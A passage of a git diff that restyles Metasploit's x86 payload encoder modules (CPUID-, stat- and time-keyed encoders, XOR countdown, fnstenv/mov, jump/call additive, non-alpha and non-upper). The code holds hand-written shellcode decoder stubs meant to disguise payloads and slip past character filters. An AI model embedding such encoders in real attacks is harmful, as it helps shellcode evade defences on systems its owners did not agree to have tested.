!(modified_registers & saved_registers).empty? raise BadGenerateError end decoder = Rex::Arch::X86.sub(-(((state.buf.length - 1) / 4) + 1), Rex::Arch::X86::ECX, - state.badchars) + + state.badchars) + "\xe8\xff\xff\xff" + # call $+4 - "\xff\xc0" + # inc eax - "\x5e" + # pop esi + "\xff\xc0" + # inc eax + "\x5e" + # pop esi "\x81\x76\x0eXORK" + # xor [esi + 0xe], xork - "\x83\xee\xfc" + # sub esi, -4 - "\xe2\xf4" # loop xor + "\x83\xee\xfc" + # sub esi, -4 + "\xe2\xf4" # loop xor # Calculate the offset to the XOR key state.decoder_key_offset = decoder.index('XORK') diff --git a/modules/encoders/x86/context_cpuid.rb b/modules/encoders/x86/context_cpuid.rb index ff28dcf74e177..58fa52e7caaab 100644 --- a/modules/encoders/x86/context_cpuid.rb +++ b/modules/encoders/x86/context_cpuid.rb @@ -14,29 +14,31 @@ class MetasploitModule < Msf::Encoder::XorAdditiveFeedback def initialize super( - 'Name' => 'CPUID-based Context Keyed Payload Encoder', - 'Description' => %q{ + 'Name' => 'CPUID-based Context Keyed Payload Encoder', + 'Description' => %q{ This is a Context-Keyed Payload Encoder based on CPUID and Shikata Ga Nai. }, - 'Author' => 'Dimitris Glynos', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'KeySize' => 4, - 'BlockSize' => 4 - }) + 'Author' => 'Dimitris Glynos', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'KeySize' => 4, + 'BlockSize' => 4 + }) register_options( [ OptString.new('CPUID_KEY', - [ true, - "CPUID key from target host (see tools/context/cpuid-key utility)", - "0x00000000"]), - ]) + [ + true, + 'CPUID key from target host (see tools/context/cpuid-key utility)', + '0x00000000' + ]), + ] + ) end - def obtain_key(buf, badchars, state) + def obtain_key(_buf, _badchars, state) state.key = datastore['CPUID_KEY'].hex return state.key end @@ -47,11 +49,11 @@ def obtain_key(buf, badchars, state) def decoder_stub(state) # If the decoder stub has not already been generated for this state, do # it now. The decoder stub method may be called more than once. - if (state.decoder_stub == nil) + if state.decoder_stub.nil? # Shikata will only cut off the last 1-4 bytes of it's own end # depending on the alignment of the original buffer cutoff = 4 - (state.buf.length & 3) - block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError) + block = keygen_stub + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError) # Take the last 1-4 bytes of shikata and prepend them to the buffer # that is going to be encoded to make it align on a 4-byte boundary. @@ -66,10 +68,10 @@ def decoder_stub(state) state.decoder_stub end -protected + protected + def keygen_stub - payload = - "\x31\xf6" + # xor %esi,%esi + "\x31\xf6" + # xor %esi,%esi "\x31\xff" + # xor %edi,%edi "\x89\xf8" + # cpuid_loop: mov %edi,%eax "\x31\xc9" + # xor %ecx,%ecx @@ -106,7 +108,7 @@ def fpu_instructions fpus << "\xd9\xe5" # This FPU instruction seems to fail consistently on Linux - #fpus << "\xdb\xe1" + # fpus << "\xdb\xe1" fpus end @@ -118,27 +120,32 @@ def fpu_instructions def generate_shikata_block(state, length, cutoff) # Declare logical registers key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax') - count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx') - addr_reg = Rex::Poly::LogicalRegister::X86.new('addr') + addr_reg = Rex::Poly::LogicalRegister::X86.new('addr') # Declare individual blocks endb = Rex::Poly::SymbolicBlock::End.new # FPU blocks - fpu = Rex::Poly::LogicalBlock.new('fpu', - *fpu_instructions) + fpu = Rex::Poly::LogicalBlock.new( + 'fpu', + *fpu_instructions + ) fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4") # Get EIP off the stack - popeip = Rex::Poly::LogicalBlock.new('popeip', - Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr }) + popeip = Rex::Poly::LogicalBlock.new( + 'popeip', + proc { |b| (0x58 + b.regnum_of(addr_reg)).chr } + ) # Clear the counter register - clear_register = Rex::Poly::LogicalBlock.new('clear_register', + clear_register = Rex::Poly::LogicalBlock.new( + 'clear_register', "\x31\xc9", "\x29\xc9", "\x33\xc9", - "\x2b\xc9") + "\x2b\xc9" + ) # Initialize the counter after zeroing it init_counter = Rex::Poly::LogicalBlock.new('init_counter') @@ -159,26 +166,29 @@ def generate_shikata_block(state, length, cutoff) # Decoder loop block loop_block = Rex::Poly::LogicalBlock.new('loop_block') - xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } - xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } - xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } - add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } - add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } - add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } - sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" } - add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" } + xor = proc { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } + xor1 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } + xor2 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } + add = proc { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } + add1 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } + add2 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } + sub4 = proc { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" } + add4 = proc { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" } loop_block.add_perm( - Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) }, - Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) }, - Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) }, - Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) }, - Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) }, - Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) }) + proc { |b| xor1.call(b) + add1.call(b) + sub4.call(b) }, + proc { |b| xor1.call(b) + sub4.call(b) + add2.call(b) }, + proc { |b| sub4.call(b) + xor2.call(b) + add2.call(b) }, + proc { |b| xor1.call(b) + add1.call(b) + add4.call(b) }, + proc { |b| xor1.call(b) + add4.call(b) + add2.call(b) }, + proc { |b| add4.call(b) + xor2.call(b) + add2.call(b) } + ) # Loop instruction block - loop_inst = Rex::Poly::LogicalBlock.new('loop_inst', - "\xe2\xf5") + loop_inst = Rex::Poly::LogicalBlock.new( + 'loop_inst', + "\xe2\xf5" + ) # Define block dependencies fnstenv.depends_on(fpu) @@ -191,6 +201,7 @@ def generate_shikata_block(state, length, cutoff) loop_inst.generate([ Rex::Arch::X86::EAX, Rex::Arch::X86::ESP, - Rex::Arch::X86::ECX ], nil, state.badchars) + Rex::Arch::X86::ECX + ], nil, state.badchars) end end diff --git a/modules/encoders/x86/context_stat.rb b/modules/encoders/x86/context_stat.rb index 60aa0142b2da6..64e04a297d459 100644 --- a/modules/encoders/x86/context_stat.rb +++ b/modules/encoders/x86/context_stat.rb @@ -14,30 +14,32 @@ class MetasploitModule < Msf::Encoder::XorAdditiveFeedback def initialize super( - 'Name' => 'stat(2)-based Context Keyed Payload Encoder', - 'Description' => %q{ + 'Name' => 'stat(2)-based Context Keyed Payload Encoder', + 'Description' => %q{ This is a Context-Keyed Payload Encoder based on stat(2) and Shikata Ga Nai. }, - 'Author' => 'Dimitris Glynos', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'KeySize' => 4, - 'BlockSize' => 4 - }) + 'Author' => 'Dimitris Glynos', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'KeySize' => 4, + 'BlockSize' => 4 + }) register_options( [ - OptString.new('STAT_KEY', [ true, - "STAT key from target host (see tools/context/stat-key utility)", - "0x00000000" ]), - OptString.new('STAT_FILE', [ true, "name of file to stat(2)", "/bin/ls" ]), - ]) + OptString.new('STAT_KEY', [ + true, + 'STAT key from target host (see tools/context/stat-key utility)', + '0x00000000' + ]), + OptString.new('STAT_FILE', [ true, 'name of file to stat(2)', '/bin/ls' ]), + ] + ) end - def obtain_key(buf, badchars, state) + def obtain_key(_buf, _badchars, state) state.key = datastore['STAT_KEY'].hex return state.key end @@ -48,11 +50,11 @@ def obtain_key(buf, badchars, state) def decoder_stub(state) # If the decoder stub has not already been generated for this state, do # it now. The decoder stub method may be called more than once. - if (state.decoder_stub == nil) + if state.decoder_stub.nil? # Shikata will only cut off the last 1-4 bytes of it's own end # depending on the alignment of the original buffer cutoff = 4 - (state.buf.length & 3) - block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError) + block = keygen_stub + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError) # Take the last 1-4 bytes of shikata and prepend them to the buffer # that is going to be encoded to make it align on a 4-byte boundary. @@ -67,21 +69,21 @@ def decoder_stub(state) state.decoder_stub end -protected + protected + def keygen_stub fname = datastore['STAT_FILE'] flen = fname.length - payload = - "\xd9\xee" + # fldz + "\xd9\xee" + # fldz "\xd9\x74\x24\xf4" + # fnstenv -0xc(%esp) "\x5b" + # pop %ebx - Rex::Arch::X86.jmp_short(flen) + # jmp over + Rex::Arch::X86.jmp_short(flen) + # jmp over fname + # the filename "\x83\xc3\x09" + # over: add $9, %ebx "\x8d\x53" + # lea filelen(%ebx), %edx - Rex::Arch::X86.pack_lsb(flen) + # - "\x31\xc0" + # xor %eax,%eax + Rex::Arch::X86.pack_lsb(flen) + + "\x31\xc0" + # xor %eax,%eax "\x88\x02" + # mov %al,(%edx) "\x8d\x4c\x24\xa8" + # lea -0x58(%esp),%ecx "\xb0\xc3" + # mov $0xc3, %al @@ -110,7 +112,7 @@ def fpu_instructions fpus << "\xd9\xe5" # This FPU instruction seems to fail consistently on Linux - #fpus << "\xdb\xe1" + # fpus << "\xdb\xe1" fpus end @@ -122,8 +124,8 @@ def fpu_instructions def generate_shikata_block(state, length, cutoff) # Declare logical registers key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax') - count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx') - addr_reg = Rex::Poly::LogicalRegister::X86.new('addr') + Rex::Poly::LogicalRegister::X86.new('count', 'ecx') + addr_reg = Rex::Poly::LogicalRegister::X86.new('addr') # Declare individual blocks endb = Rex::Poly::SymbolicBlock::End.new @@ -134,14 +136,14 @@ def generate_shikata_block(state, length, cutoff) # Get EIP off the stack popeip = Rex::Poly::LogicalBlock.new('popeip', - Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr }) + proc { |b| (0x58 + b.regnum_of(addr_reg)).chr }) # Clear the counter register clear_register = Rex::Poly::LogicalBlock.new('clear_register', - "\x31\xc9", - "\x29\xc9", - "\x33\xc9", - "\x2b\xc9") + "\x31\xc9", + "\x29\xc9", + "\x33\xc9", + "\x2b\xc9") # Initialize the counter after zeroing it init_counter = Rex::Poly::LogicalBlock.new('init_counter') @@ -162,26 +164,27 @@ def generate_shikata_block(state, length, cutoff) # Decoder loop block loop_block = Rex::Poly::LogicalBlock.new('loop_block') - xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } - xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } - xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } - add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } - add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } - add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } - sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" } - add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" } + xor = proc { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } + xor1 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } + xor2 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } + add = proc { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } + add1 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } + add2 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } + sub4 = proc { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" } + add4 = proc { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" } loop_block.add_perm( - Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) }, - Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) }, - Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) }, - Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) }, - Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) }, - Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) }) + proc { |b| xor1.call(b) + add1.call(b) + sub4.call(b) }, + proc { |b| xor1.call(b) + sub4.call(b) + add2.call(b) }, + proc { |b| sub4.call(b) + xor2.call(b) + add2.call(b) }, + proc { |b| xor1.call(b) + add1.call(b) + add4.call(b) }, + proc { |b| xor1.call(b) + add4.call(b) + add2.call(b) }, + proc { |b| add4.call(b) + xor2.call(b) + add2.call(b) } + ) # Loop instruction block loop_inst = Rex::Poly::LogicalBlock.new('loop_inst', - "\xe2\xf5") + "\xe2\xf5") # Define block dependencies fnstenv.depends_on(fpu) @@ -194,6 +197,7 @@ def generate_shikata_block(state, length, cutoff) loop_inst.generate([ Rex::Arch::X86::EAX, Rex::Arch::X86::ESP, - Rex::Arch::X86::ECX ], nil, state.badchars) + Rex::Arch::X86::ECX + ], nil, state.badchars) end end diff --git a/modules/encoders/x86/context_time.rb b/modules/encoders/x86/context_time.rb index 667c661edcc8a..46a963553f3f8 100644 --- a/modules/encoders/x86/context_time.rb +++ b/modules/encoders/x86/context_time.rb @@ -14,30 +14,34 @@ class MetasploitModule < Msf::Encoder::XorAdditiveFeedback def initialize super( - 'Name' => 'time(2)-based Context Keyed Payload Encoder', - 'Description' => %q{ + 'Name' => 'time(2)-based Context Keyed Payload Encoder', + 'Description' => %q{ This is a Context-Keyed Payload Encoder based on time(2) and Shikata Ga Nai. }, - 'Author' => 'Dimitris Glynos', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'KeySize' => 4, - 'BlockSize' => 4 - }) + 'Author' => 'Dimitris Glynos', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'KeySize' => 4, + 'BlockSize' => 4 + }) register_options( [ - OptString.new('TIME_KEY', - [ true, - "TIME key from target host (see tools/context/time-key utility)", - "0x00000000"]) - ]) + OptString.new( + 'TIME_KEY', + [ + true, + 'TIME key from target host (see tools/context/time-key utility)', + '0x00000000' + ] + ) + ] + ) end - def obtain_key(buf, badchars, state) + def obtain_key(_buf, _badchars, state) state.key = datastore['TIME_KEY'].hex return state.key end @@ -48,11 +52,11 @@ def obtain_key(buf, badchars, state) def decoder_stub(state) # If the decoder stub has not already been generated for this state, do # it now. The decoder stub method may be called more than once. - if (state.decoder_stub == nil) + if state.decoder_stub.nil? # Shikata will only cut off the last 1-4 bytes of it's own end # depending on the alignment of the original buffer cutoff = 4 - (state.buf.length & 3) - block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError) + block = keygen_stub + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError) # Take the last 1-4 bytes of shikata and prepend them to the buffer # that is going to be encoded to make it align on a 4-byte boundary. @@ -67,10 +71,10 @@ def decoder_stub(state) state.decoder_stub end -protected + protected + def keygen_stub - payload = - "\x31\xdb" + # xor %ebx,%ebx + "\x31\xdb" + # xor %ebx,%ebx "\x8d\x43\x0d" + # lea 0xd(%ebx),%eax "\xcd\x80" + # int $0x80 "\x66\x31\xc0" # xor %ax,%ax @@ -96,7 +100,7 @@ def fpu_instructions fpus << "\xd9\xe5" # This FPU instruction seems to fail consistently on Linux - #fpus << "\xdb\xe1" + # fpus << "\xdb\xe1" fpus end @@ -108,8 +112,7 @@ def fpu_instructions def generate_shikata_block(state, length, cutoff) # Declare logical registers key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax') - count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx') - addr_reg = Rex::Poly::LogicalRegister::X86.new('addr') + addr_reg = Rex::Poly::LogicalRegister::X86.new('addr') # Declare individual blocks endb = Rex::Poly::SymbolicBlock::End.new @@ -119,15 +122,19 @@ def generate_shikata_block(state, length, cutoff) fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4") # Get EIP off the stack - popeip = Rex::Poly::LogicalBlock.new('popeip', - Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr }) + popeip = Rex::Poly::LogicalBlock.new( + 'popeip', + proc { |b| (0x58 + b.regnum_of(addr_reg)).chr } + ) # Clear the counter register - clear_register = Rex::Poly::LogicalBlock.new('clear_register', + clear_register = Rex::Poly::LogicalBlock.new( + 'clear_register', "\x31\xc9", "\x29\xc9", "\x33\xc9", - "\x2b\xc9") + "\x2b\xc9" + ) # Initialize the counter after zeroing it init_counter = Rex::Poly::LogicalBlock.new('init_counter') @@ -148,26 +155,29 @@ def generate_shikata_block(state, length, cutoff) # Decoder loop block loop_block = Rex::Poly::LogicalBlock.new('loop_block') - xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } - xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } - xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } - add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } - add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } - add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } - sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" } - add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" } + xor = proc { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } + xor1 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } + xor2 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } + add = proc { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } + add1 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } + add2 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } + sub4 = proc { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" } + add4 = proc { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" } loop_block.add_perm( - Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) }, - Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) }, - Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) }, - Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) }, - Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) }, - Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) }) + proc { |b| xor1.call(b) + add1.call(b) + sub4.call(b) }, + proc { |b| xor1.call(b) + sub4.call(b) + add2.call(b) }, + proc { |b| sub4.call(b) + xor2.call(b) + add2.call(b) }, + proc { |b| xor1.call(b) + add1.call(b) + add4.call(b) }, + proc { |b| xor1.call(b) + add4.call(b) + add2.call(b) }, + proc { |b| add4.call(b) + xor2.call(b) + add2.call(b) } + ) # Loop instruction block - loop_inst = Rex::Poly::LogicalBlock.new('loop_inst', - "\xe2\xf5") + loop_inst = Rex::Poly::LogicalBlock.new( + 'loop_inst', + "\xe2\xf5" + ) # Define block dependencies fnstenv.depends_on(fpu) @@ -180,6 +190,7 @@ def generate_shikata_block(state, length, cutoff) loop_inst.generate([ Rex::Arch::X86::EAX, Rex::Arch::X86::ESP, - Rex::Arch::X86::ECX ], nil, state.badchars) + Rex::Arch::X86::ECX + ], nil, state.badchars) end end diff --git a/modules/encoders/x86/countdown.rb b/modules/encoders/x86/countdown.rb index 7da24d563bef8..4a183f38f3e4e 100644 --- a/modules/encoders/x86/countdown.rb +++ b/modules/encoders/x86/countdown.rb @@ -7,18 +7,17 @@ class MetasploitModule < Msf::Encoder::Xor def initialize super( - 'Name' => 'Single-byte XOR Countdown Encoder', - 'Description' => %q{ + 'Name' => 'Single-byte XOR Countdown Encoder', + 'Description' => %q{ This encoder uses the length of the payload as a position-dependent encoder key to produce a small decoder stub. }, - 'Author' => 'vlad902', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'BlockSize' => 1, - }) + 'Author' => 'vlad902', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'BlockSize' => 1 + }) end # @@ -26,17 +25,18 @@ def initialize # being encoded. # def decoder_stub(state) - # Sanity check that saved_registers doesn't overlap with modified_registers - if (modified_registers & saved_registers).length > 0 + if !(modified_registers & saved_registers).empty? raise BadGenerateError end + begin decoder = Rex::Arch::X86.set( Rex::Arch::X86::ECX, state.buf.length - 1, - state.badchars) + + state.badchars + ) + "\xe8\xff\xff\xff" + # call $+4 "\xff\xc1" + # inc ecx "\x5e" + # pop esi @@ -46,7 +46,7 @@ def decoder_stub(state) # Initialize the state context to 1 state.context = 1 rescue RuntimeError => e - raise BadcharError if e.message == "No valid set instruction could be created!" + raise BadcharError if e.message == 'No valid set instruction could be created!' end return decoder end diff --git a/modules/encoders/x86/fnstenv_mov.rb b/modules/encoders/x86/fnstenv_mov.rb index dc3bdcdd55b95..9357f3296792f 100644 --- a/modules/encoders/x86/fnstenv_mov.rb +++ b/modules/encoders/x86/fnstenv_mov.rb @@ -7,19 +7,18 @@ class MetasploitModule < Msf::Encoder::Xor def initialize super( - 'Name' => 'Variable-length Fnstenv/mov Dword XOR Encoder', - 'Description' => %q{ + 'Name' => 'Variable-length Fnstenv/mov Dword XOR Encoder', + 'Description' => %q{ This encoder uses a variable-length mov equivalent instruction with fnstenv for getip. }, - 'Author' => 'spoonm', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'KeySize' => 4, - 'BlockSize' => 4, - }) + 'Author' => 'spoonm', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'KeySize' => 4, + 'BlockSize' => 4 + }) end # @@ -27,9 +26,8 @@ def initialize # being encoded. # def decoder_stub(state) - # Sanity check that saved_registers doesn't overlap with modified_registers - if (modified_registers & saved_registers).length > 0 + if !(modified_registers & saved_registers).empty? raise BadGenerateError end @@ -37,7 +35,8 @@ def decoder_stub(state) Rex::Arch::X86.set( Rex::Arch::X86::ECX, (((state.buf.length - 1) / 4) + 1), - state.badchars) + + state.badchars + ) + "\xd9\xee" + # fldz "\xd9\x74\x24\xf4" + # fnstenv [esp - 12] "\x5b" + # pop ebx diff --git a/modules/encoders/x86/jmp_call_additive.rb b/modules/encoders/x86/jmp_call_additive.rb index dac0725afaf97..b2278578b735e 100644 --- a/modules/encoders/x86/jmp_call_additive.rb +++ b/modules/encoders/x86/jmp_call_additive.rb @@ -6,34 +6,33 @@ class MetasploitModule < Msf::Encoder::XorAdditiveFeedback # Uncomment when we get the poly stuff working again. - #Rank = GreatRanking + # Rank = GreatRanking def initialize super( - 'Name' => 'Jump/Call XOR Additive Feedback Encoder', - 'Description' => 'Jump/Call XOR Additive Feedback', - 'Author' => 'skape', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'Stub' => - "\xfc" + # cld - "\xbbXORK" + # mov ebx, key - "\xeb\x0c" + # jmp short 0x14 - "\x5e" + # pop esi - "\x56" + # push esi - "\x31\x1e" + # xor [esi], ebx - "\xad" + # lodsd - "\x01\xc3" + # add ebx, eax - "\x85\xc0" + # test eax, eax - "\x75\xf7" + # jnz 0xa - "\xc3" + # ret + 'Name' => 'Jump/Call XOR Additive Feedback Encoder', + 'Description' => 'Jump/Call XOR Additive Feedback', + 'Author' => 'skape', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'Stub' => + "\xfc" + # cld + "\xbbXORK" + # mov ebx, key + "\xeb\x0c" + # jmp short 0x14 + "\x5e" + # pop esi + "\x56" + # push esi + "\x31\x1e" + # xor [esi], ebx + "\xad" + # lodsd + "\x01\xc3" + # add ebx, eax + "\x85\xc0" + # test eax, eax + "\x75\xf7" + # jnz 0xa + "\xc3" + # ret "\xe8\xef\xff\xff\xff", # call 0x8 - 'KeyOffset' => 2, - 'KeySize' => 4, - 'BlockSize' => 4, - }) + 'KeyOffset' => 2, + 'KeySize' => 4, + 'BlockSize' => 4 + }) end # diff --git a/modules/encoders/x86/nonalpha.rb b/modules/encoders/x86/nonalpha.rb index 0b5ecd1ef247d..c975ebcedb34c 100644 --- a/modules/encoders/x86/nonalpha.rb +++ b/modules/encoders/x86/nonalpha.rb @@ -10,21 +10,20 @@ class MetasploitModule < Msf::Encoder::NonAlpha def initialize super( - 'Name' => "Non-Alpha Encoder", - 'Description' => %q{ + 'Name' => 'Non-Alpha Encoder', + 'Description' => %q{ Encodes payloads as non-alpha based bytes. This allows payloads to bypass both toupper() and tolower() calls, but will fail isalpha(). Table based design from Russel Sanford. }, - 'Author' => [ 'pusscat'], - 'Arch' => ARCH_X86, - 'License' => BSD_LICENSE, - 'EncoderType' => Msf::Encoder::Type::NonAlpha, - 'Decoder' => - { - 'BlockSize' => 1, - }) + 'Author' => [ 'pusscat'], + 'Arch' => ARCH_X86, + 'License' => BSD_LICENSE, + 'EncoderType' => Msf::Encoder::Type::NonAlpha, + 'Decoder' => { + 'BlockSize' => 1 + }) end # @@ -32,9 +31,9 @@ def initialize # being encoded. # def decoder_stub(state) - state.key = "" - state.decoder_key_size = 0 - Rex::Encoder::NonAlpha::gen_decoder() + state.key = '' + state.decoder_key_size = 0 + Rex::Encoder::NonAlpha.gen_decoder end # @@ -43,9 +42,9 @@ def decoder_stub(state) # def encode_block(state, block) begin - newchar, state.key, state.decoder_key_size = Rex::Encoder::NonAlpha::encode_byte(block.unpack('C')[0], state.key, state.decoder_key_size) + newchar, state.key, state.decoder_key_size = Rex::Encoder::NonAlpha.encode_byte(block.unpack('C')[0], state.key, state.decoder_key_size) rescue RuntimeError => e - raise BadcharError if e.message == "BadChar" + raise BadcharError if e.message == 'BadChar' end return newchar end @@ -55,7 +54,7 @@ def encode_block(state, block) # def encode_end(state) state.encoded.gsub!(/A/, state.decoder_key_size.chr) - state.encoded.gsub!(/B/, (state.decoder_key_size+5).chr) + state.encoded.gsub!(/B/, (state.decoder_key_size + 5).chr) state.encoded[0x24, 0] = state.key end end diff --git a/modules/encoders/x86/nonupper.rb b/modules/encoders/x86/nonupper.rb index 6a67a1e58e4e9..6ceb37d48d4c5 100644 --- a/modules/encoders/x86/nonupper.rb +++ b/modules/encoders/x86/nonupper.rb @@ -10,20 +10,19 @@ class MetasploitModule < Msf::Encoder::NonUpper def initialize super( - 'Name' => "Non-Upper Encoder", - 'Description' => %q{ + 'Name' => 'Non-Upper Encoder', + 'Description' => %q{ Encodes payloads as non-alpha based bytes. This allows payloads to bypass tolower() calls, but will fail isalpha(). Table based design from Russel Sanford. }, - 'Author' => [ 'pusscat'], - 'Arch' => ARCH_X86, - 'License' => BSD_LICENSE, - 'EncoderType' => Msf::Encoder::Type::NonUpper, - 'Decoder' => - { - 'BlockSize' => 1, - }) + 'Author' => [ 'pusscat'], + 'Arch' => ARCH_X86, + 'License' => BSD_LICENSE, + 'EncoderType' => Msf::Encoder::Type::NonUpper, + 'Decoder' => { + 'BlockSize' => 1 + 